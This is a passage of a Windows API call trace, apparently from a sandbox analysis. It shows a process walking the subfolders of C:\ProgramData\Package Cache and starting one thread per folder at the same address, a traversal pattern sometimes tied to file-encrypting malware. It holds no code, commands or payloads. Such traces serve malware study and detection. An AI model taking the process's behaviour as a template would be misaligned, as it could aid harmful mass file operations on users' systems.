Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" [0085.880] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7ad020, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x618 [0085.880] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", cAlternateFileName="{13A4E~1.210")) returned 1 [0085.880] wcscmp (_String1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", _String2=".") returned 1 [0085.880] wcscmp (_String1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", _String2="..") returned 1 [0085.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1b7a5180 [0085.881] wcscpy (in: _Dest=0x1b7a5180, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0085.881] wcscat (in: _Dest=0x1b7a5180, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0085.881] wcscat (in: _Dest=0x1b7a5180, _Source="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: _Dest="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" [0085.881] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7a5180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x61c [0085.881] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd314a0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xecd314a0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", cAlternateFileName="{33D1F~1")) returned 1 [0085.881] wcscmp (_String1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", _String2=".") returned 1 [0085.881] wcscmp (_String1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", _String2="..") returned 1 [0085.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b784010 [0085.881] wcscpy (in: _Dest=0x1b784010, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0085.882] wcscat (in: _Dest=0x1b784010, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0085.882] wcscat (in: _Dest=0x1b784010, _Source="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: _Dest="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" [0085.882] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b784010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x620 [0085.882] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", cAlternateFileName="{37B8F~1.610")) returned 1 [0085.882] wcscmp (_String1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", _String2=".") returned 1 [0085.882] wcscmp (_String1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", _String2="..") returned 1 [0085.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1b7a5230 [0085.883] wcscpy (in: _Dest=0x1b7a5230, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0085.883] wcscat (in: _Dest=0x1b7a5230, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0085.883] wcscat (in: _Dest=0x1b7a5230, _Source="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: _Dest="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" [0085.883] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7a5230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x624 [0085.883] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a127460, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a127460, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", cAlternateFileName="{3C3AA~1")) returned 1 [0085.883] wcscmp (_String1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", _String2=".") returned 1 [0085.883] wcscmp (_String1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", _String2="..") returned 1 [0085.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b7840a0 [0085.883] wcscpy (in: _Dest=0x1b7840a0, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0085.884] wcscat (in: _Dest=0x1b7840a0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0085.884] wcscat (in: _Dest=0x1b7840a0, _Source="{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: _Dest="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" [0085.884] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7840a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x628 [0085.884] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", cAlternateFileName="{582EA~1.250")) returned 1 [0085.884] wcscmp (_String1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", _String2=".") returned 1 [0085.885] wcscmp (_String1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", _String2="..") returned 1 [0085.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1b7a52e0 [0085.885] wcscpy (in: _Dest=0x1b7a52e0, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0085.885] wcscat (in: _Dest=0x1b7a52e0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0085.885] wcscat (in: _Dest=0x1b7a52e0, _Source="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: _Dest="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" [0085.885] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7a52e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x62c [0085.885] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", cAlternateFileName="{68306~1.250")) returned 1 [0085.885] wcscmp (_String1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", _String2=".") returned 1 [0085.886] wcscmp (_String1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", _String2="..") returned 1 [0085.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1b7a5390 [0085.886] wcscpy (in: _Dest=0x1b7a5390, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0085.886] wcscat (in: _Dest=0x1b7a5390, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0085.886] wcscat (in: _Dest=0x1b7a5390, _Source="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: _Dest="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" [0085.886] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7a5390, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x630 [0085.886] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", cAlternateFileName="{8D4F7~1.250")) returned 1 [0085.886] wcscmp (_String1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", _String2=".") returned 1 [0085.887] wcscmp (_String1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", _String2="..") returned 1 [0085.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1b7a5440 [0085.887] wcscpy (in: _Dest=0x1b7a5440, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0085.887] wcscat (in: _Dest=0x1b7a5440, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0085.887] wcscat (in: _Dest=0x1b7a5440, _Source="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" [0085.887] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7a5440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x634 [0085.887] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", cAlternateFileName="{929FB~1.210")) returned 1 [0085.887] wcscmp (_String1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", _String2=".") returned 1 [0085.887] wcscmp (_String1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", _String2="..") returned 1 [0085.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1b7a54f0 [0085.887] wcscpy (in: _Dest=0x1b7a54f0, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0085.887] wcscat (in: _Dest=0x1b7a54f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0085.888] wcscat (in: _Dest=0x1b7a54f0, _Source="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: _Dest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" [0085.888] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7a54f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x638 [0085.888] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", cAlternateFileName="{A749D~1.210")) returned 1 [0085.888] wcscmp (_String1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", _String2=".") returned 1 [0085.888] wcscmp (_String1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", _String2="..") returned 1 [0085.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1b7a55a0 [0085.888] wcscpy (in: _Dest=0x1b7a55a0, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0085.888] wcscat (in: _Dest=0x1b7a55a0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0085.888] wcscat (in: _Dest=0x1b7a55a0, _Source="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" [0085.889] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7a55a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x63c [0085.889] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", cAlternateFileName="{B1755~1.610")) returned 1 [0085.889] wcscmp (_String1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", _String2=".") returned 1 [0085.889] wcscmp (_String1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", _String2="..") returned 1 [0085.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1b7a5650 [0085.889] wcscpy (in: _Dest=0x1b7a5650, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0085.889] wcscat (in: _Dest=0x1b7a5650, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0085.889] wcscat (in: _Dest=0x1b7a5650, _Source="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: _Dest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" [0085.889] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7a5650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x640 [0085.890] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", cAlternateFileName="{BD95A~1.610")) returned 1 [0085.890] wcscmp (_String1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", _String2=".") returned 1 [0085.890] wcscmp (_String1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", _String2="..") returned 1 [0085.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1b7a5700 [0085.890] wcscpy (in: _Dest=0x1b7a5700, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0085.890] wcscat (in: _Dest=0x1b7a5700, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0085.890] wcscat (in: _Dest=0x1b7a5700, _Source="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" [0085.890] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7a5700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x644 [0085.891] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfaaff840, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", cAlternateFileName="{CA675~1")) returned 1 [0085.891] wcscmp (_String1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", _String2=".") returned 1 [0085.891] wcscmp (_String1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", _String2="..") returned 1 [0085.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b784130 [0085.891] wcscpy (in: _Dest=0x1b784130, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0085.891] wcscat (in: _Dest=0x1b784130, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0085.891] wcscat (in: _Dest=0x1b784130, _Source="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: _Dest="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" [0085.891] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b784130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x648 [0085.892] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", cAlternateFileName="{CF2BE~1.610")) returned 1 [0085.892] wcscmp (_String1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", _String2=".") returned 1 [0085.892] wcscmp (_String1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", _String2="..") returned 1 [0085.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1b7a57b0 [0085.892] wcscpy (in: _Dest=0x1b7a57b0, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0085.892] wcscat (in: _Dest=0x1b7a57b0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0085.892] wcscat (in: _Dest=0x1b7a57b0, _Source="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" [0085.892] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7a57b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x64c [0085.893] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", cAlternateFileName="{E5127~1.250")) returned 1 [0085.893] wcscmp (_String1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", _String2=".") returned 1 [0085.893] wcscmp (_String1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", _String2="..") returned 1 [0085.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1b7a5860 [0085.893] wcscpy (in: _Dest=0x1b7a5860, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0085.893] wcscat (in: _Dest=0x1b7a5860, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0085.893] wcscat (in: _Dest=0x1b7a5860, _Source="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" | out: _Dest="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" [0085.893] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7a5860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x650 [0085.894] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa912d270, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e52a6842-b0ac-476e-b48f-378a97a67346}", cAlternateFileName="{E52A6~1")) returned 1 [0085.894] wcscmp (_String1="{e52a6842-b0ac-476e-b48f-378a97a67346}", _String2=".") returned 1 [0085.894] wcscmp (_String1="{e52a6842-b0ac-476e-b48f-378a97a67346}", _String2="..") returned 1 [0085.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b7841c0 [0085.894] wcscpy (in: _Dest=0x1b7841c0, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0085.894] wcscat (in: _Dest=0x1b7841c0, 